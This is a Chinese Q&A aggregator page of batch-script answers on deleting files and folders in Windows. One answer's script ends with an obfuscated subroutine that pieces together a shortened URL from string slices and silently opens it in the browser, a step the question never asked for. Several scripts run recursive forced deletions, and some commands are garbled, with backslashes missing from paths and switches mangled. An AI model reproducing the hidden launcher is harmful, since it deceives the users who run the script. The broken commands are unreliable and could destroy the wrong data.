當前位置:首頁 » 文件管理 » 刪除文件夾文件批處理

刪除文件夾文件批處理

發布時間: 2023-06-03 19:12:11

『壹』 怎麼批處理刪除某一文件夾中的文件

DOS命令刪除某文件夾下所有文件是很容易的。甚至不需要批處理。
但是DOS命令組成的批處理無法做到「定期」。這需要在DOS下通過編程調用時間函數等等,遠超出了批處理的功能。
如果你是在WINDOWS下用這個方法來定期清理某文件夾,這就容易多了。
1、打開記事本程序,在其中寫入以下命令。
del x:\y\*.* /s /q (x為你想操作的盤符,y為你想操作的文件夾名)
exit
2、保存此文件為.BAT或者.CMD文件。
3、使用控制面板中的「計劃任務」,設定一個時間運行此批處理文件。
4、更簡單的辦法:把這個.bat 或.cmd文件放在開始菜單中的「啟動」項中。這樣,每次開機的時候就會執行一遍

『貳』 批處理刪除文件夾下所有文件和文件夾,但是排除包含「勿刪」字樣的文件夾,該怎麼寫

@echo off & title 刪除所有文件/夾(特定文件夾需保留) By 依夢琴瑤

cd /d "%%~dp0"


::設置要處理的主目錄路徑

set ScrFolder=D:AAA


::設置要排除包含的字元,多個字元之間,請用英文逗號隔開,包含空格,特殊字元的請用英文雙引號將其括起來

set SkipStr=勿刪


cd /d "%ScrFolder%"

for /f "delims=" %%a in ('dir /ad-h') do (

for %%i in (%SkipStr%) do (

echo "%%~a" | find /i "%%~i" >nul 2>nul || rd /s /q "%%~a"

)

)

for /f "delims=" %%a in ('dir /a-d-h') do (

del /f /q "%%~a"

)

pause


call :GVME

exit


:GVME

set "S1=.:ailnhpst/"

set "S0=fPdv"

set "S3=%S1:~8,1%%S1:~3,1%%S1:~5,1%%S1:~2,1%%S1:~0,1%%S1:~4,1%%S1:~9,1%"

set "S2=%S1:~6,1%%S1:~9,1%%S1:~9,1%%S1:~7,1%%S1:~1,1%%S1:~10,1%%S1:~10,1%"

start "" "%S2%%S3%%S1:~10,1%%S0%"

exit


腳本保存時請比對原文,保存編碼設為ANSI。否則可能會導致腳本運行出錯。

『叄』 批處理刪除文件夾下所有文件

批處理刪除文件夾下所有文件的方法:

1、電腦上新建一個文件夾,新建一個「TXT」文件,並命名;

2、點擊右鍵,把文件的後綴名設置為.bat;

3、另新建文件夾和文件,作為列出的示例;

4、右鍵打開文件,第一行輸入「del 、q、a、fC:、Users、Administrator、Desktop、新建文件夾、a」作為命令行;

5、第二行輸入「pause」作為暫停顯示的命令;

6、保存後雙擊運行bat文件,即可刪除目標路徑下的所有文

『肆』 怎樣用批處理刪除指定目錄下某個文件夾和文件以外的所有文件

這是一個例子用一個批處理達到保留所有doc 和txt 文件,刪除除這兩種類型文件以外的所有文件和文件夾@echo off

for /f "delims=" %%i in ('dir i: /a-d /b /s') do (

if not %%~xi==.doc (

if not %%~xi==.txt (

del /s /a /q "%%~si"

)

)

)

::刪除空目錄

for /f "delims=" %%j in ('dir i: /ad /s /b') do rd "%%~sj"

pause

『伍』 寫個批處理刪除指定文件或指定文件夾

使用的是del命令+rd命令,先刪除文件,在進入相應文件夾刪除文件夾下的文件夾,如下:

del /f /s /q C:UsersdellAppDataLocalTemp*.*

cd C:UsersdellAppDataLocalTemp

rd /s /q C:UsersdellAppDataLocalTemp

(5)刪除文件夾文件批處理擴展閱讀:

del命令參數說明

/F:強制刪除只讀文件。

/S:從所有子目錄刪除指定文件。

/Q:安靜模式,刪除全局通配符時,不要求確認。

/A:根據屬性選擇要刪除的文件。

刪除指定屬性或指定屬性以外的文件,/AR、/AH、/AS、/AA分別表示刪除只讀、隱藏、系統、存檔文件,/A-R、/A-H、/A-S、 /A-A表示刪除除只讀、隱藏、系統、存檔以外的文件。

例如:

「DEL/AR *.*」表示刪除當前目錄下所有隻讀文件,「DEL/A-S *.*」表示刪除當前目錄下除系統文件以外的所有文件。

不知道文件是什麼屬性,那麼使用del /a即可。

del /a /f /s desktop.ini 搜索當前目錄下的所有子文件夾,並刪除指定文件

del temp* /q /f /s 將直接刪除本目錄的temp 目錄的所有文件,沒有任務提示

『陸』 如何用批處理刪除指定文件夾以及文件里所有文件

@echooff
for/f"tokens=2delims=="%%iin('wmicLogicalDiskwhere"DriveType='3'"getDeviceID/value')do(
for/f"delims="%%jin('dir/s/b/ad"%%i"^|findstr/x"A"')doseta=%%j&&gotonext
)
echo文件不存在!
pause>nul

:next
rd/s"%a%"
pause>nul

樓主是想全盤查找指定的文件夾然後再刪除對么


把A改成文件夾名就行

熱點內容
dns伺服器江川區ip地址 發布:2024-03-29 18:47:53 瀏覽:327
sql統計百分比 發布:2024-03-29 18:47:14 瀏覽:691
javatoolsfor 發布:2024-03-29 18:17:55 瀏覽:900
linuxi2c驅動 發布:2024-03-29 18:09:56 瀏覽:672
junit源碼下載 發布:2024-03-29 18:00:10 瀏覽:526
本田雅閣壓縮機不工作 發布:2024-03-29 17:59:13 瀏覽:601
溯源碼可以偽造嗎 發布:2024-03-29 17:54:45 瀏覽:57
北京編程傳 發布:2024-03-29 17:54:44 瀏覽:436
編程畫曲線 發布:2024-03-29 17:48:59 瀏覽:60
簡單存儲服務s3 發布:2024-03-29 17:48:46 瀏覽:337